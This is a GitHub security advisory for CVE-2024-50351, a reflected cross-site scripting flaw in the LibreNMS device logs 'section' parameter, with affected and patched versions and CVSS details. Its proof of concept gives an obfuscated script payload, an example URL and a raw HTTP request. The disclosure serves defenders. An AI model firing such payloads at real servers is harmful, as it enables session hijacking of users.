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LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php

High severity GitHub Reviewed Published Nov 14, 2024 in librenms/librenms • Updated Dec 10, 2024

Package

composer librenms/librenms (Composer)

Affected versions

<= 24.9.1

Patched versions

24.10.0

Description

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability in the "section" parameter of the "logs" tab of a device allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "section" parameter, potentially compromising their session and enabling unauthorized actions. The issue arises from a lack of sanitization in the "report_this()" function.

Details

The "section" parameter of the "logs" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the "section" parameter:
<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>

When the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the "report_this()" function. Other endpoints using this same function may also be vulnerable.

The vulnerable sink is located here:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93

PoC

  1. Inject the following payload into the "section" parameter of the "logs" tab:
    <script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>
  2. Access the page with the injected payload.
  3. Observe that the injected script executes when the page is loaded.

Example URL: http://<your_url>/device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/

Example Request:

GET /device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/ HTTP/1.1
Host: <your_host>
Cookie: <your_cookie>

Impact

This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.

References

@murrant murrant published to librenms/librenms Nov 14, 2024
Published to the GitHub Advisory Database Nov 15, 2024
Reviewed Nov 15, 2024
Published by the National Vulnerability Database Nov 15, 2024
Last updated Dec 10, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

EPSS score

0.043%
(11th percentile)

Weaknesses

CVE ID

CVE-2024-50351

GHSA ID

GHSA-v7w9-63xh-6r3w

Source code

Credits

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